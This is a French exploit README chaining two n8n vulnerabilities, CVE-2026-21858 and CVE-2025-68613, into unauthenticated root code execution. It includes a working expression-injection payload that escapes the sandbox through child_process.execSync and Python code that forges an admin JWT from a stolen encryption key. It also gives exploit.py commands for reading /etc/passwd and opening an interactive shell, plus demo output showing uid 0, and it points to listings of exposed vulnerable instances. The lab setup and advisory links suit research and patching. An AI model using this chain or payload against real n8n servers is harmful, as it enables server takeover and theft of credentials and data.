CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n

Lecture arbitraire de fichier non authentifiée → Forge de jeton admin → Contournement de sandbox → RCE

En bref

Chaîne RCE complète non authentifiée sur n8n :

1. CVE-2026-21858 - Confusion de type de contenu → Lecture arbitraire de fichier
2. Lecture de la configuration + base de données → forge de JWT admin
3. CVE-2025-68613 - Injection d'expression → contournement du sandbox → RCE

Détection

L'exposition est basée sur la version. En matière d'exposition, des instances n8n vulnérables sont accessibles publiquement.

Résultats LeakIX : Voir les instances exposées

Pourquoi cet exploit ?

Cet exploit a été développé indépendamment du rapport de Cyera (découvert après la finalisation). Différences clés :

Les deux approches nécessitent des configurations de workflow spécifiques. Cyera a besoin d'un chat + d'une intégration IA, cet exploit a besoin d'un formulaire avec un nœud Respond. Voir Limitations pour les détails.

Chaîne d'attaque

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lecture arbitraire de fichier via confusion de type de contenu

Le patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Le légendaire « Merge commit from fork » - quand vous voyez ça, quelqu'un a trouvé quelque chose de piquant. 🌶️

Cause racine

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envoyez Content-Type: application/json → contrôlez filepath → lisez n'importe quel fichier.

CVE-2025-68613 - Injection d'expression RCE

Pourquoi ce contournement ?

n8n isole le code utilisateur (Code Node, expressions) avec vm2/isolated-vm. Autres vecteurs RCE :

J'ai utilisé l'injection d'expression car elle fonctionne sur n'importe quelle instance n8n avec les paramètres par défaut - aucun nœud spécial ni configuration requise. Le contournement Pyodide (CVE-2025-68668) nécessite le nœud Python Code qui peut ne pas être disponible sur toutes les instances.

Le payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Les expressions n8n ont accès à this.process.mainModule.require → évasion totale du sandbox.

Forge de jeton

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuration du laboratoire

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilisation

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Démo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Ce n'est PAS un exploit « pwn any n8n ». Il nécessite des conditions spécifiques pour fonctionner :

Exemple de configuration de workflow vulnérable :

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Les éléments clés sont : fieldType: "file" + respondWith: "binary". Ce modèle est courant dans les workflows de traitement de fichiers (convertisseurs, redimensionneurs d'images, processeurs de documents).

Fonctionne avec :

• Formulaires avec nœud Respond renvoyant du binaire (convertisseurs de fichiers, processeurs)
• Installations n8n par défaut (injection d'expression non bloquée)
• Déploiements locaux/Docker (base de données + configuration stockées sur disque)

Ne fonctionne pas avec :

• Formulaires sans nœud Respond (le fichier est lu mais le contenu n'est pas renvoyé dans la réponse HTTP)
• Formulaires nécessitant une authentification
• n8n Cloud (architecture différente, pas d'accès aux fichiers locaux)
• Versions corrigées (>= 1.121.0)

Remarque : La vulnérabilité (lecture arbitraire de fichier) est déclenchée quel que soit le procédé d'exfiltration. Le nœud Respond n'est qu'un moyen de récupérer le contenu. Des méthodes alternatives (OOB, autres nœuds de sortie) peuvent fonctionner selon la configuration du workflow.

Exploitation aveugle : S'il n'existe aucun nœud Respond, le fichier est tout de même lu par n8n mais ne peut pas être exfiltré via la réponse HTTP. Des techniques alternatives (OOB, timing) seraient nécessaires.

Exemples concrets

Le modèle vulnérable (Form Trigger + upload de fichier + Respond to Webhook) existe dans des dépôts GitHub publics.

Remarque : Les dépôts de workflows n8n populaires (>100⭐) n'utilisent pas ce modèle. Il s'agit de projets communautaires/personnels :

Ce sont des workflows contribués par la communauté. Aucun modèle officiel n8n.io n'utilise ce modèle vulnérable.

Références

• Environnement Vulhub - Laboratoire prêt à l'emploi sur Vulhub
• Recherche Cyera - Analyse complète Ni8mare - Recherche originale de Dor Attias
• GHSA-v4pr-fm98-w9pg - CVE-2026-21858
• GHSA-v98v-ff95-f3cp - CVE-2025-68613
• Modèle Nuclei CVE-2025-68613
• Résultats de recherche LeakIX - Instances vulnérables exposées
• Formidable - « La bibliothèque, pas la chanson » (merci Cyera pour le fou rire)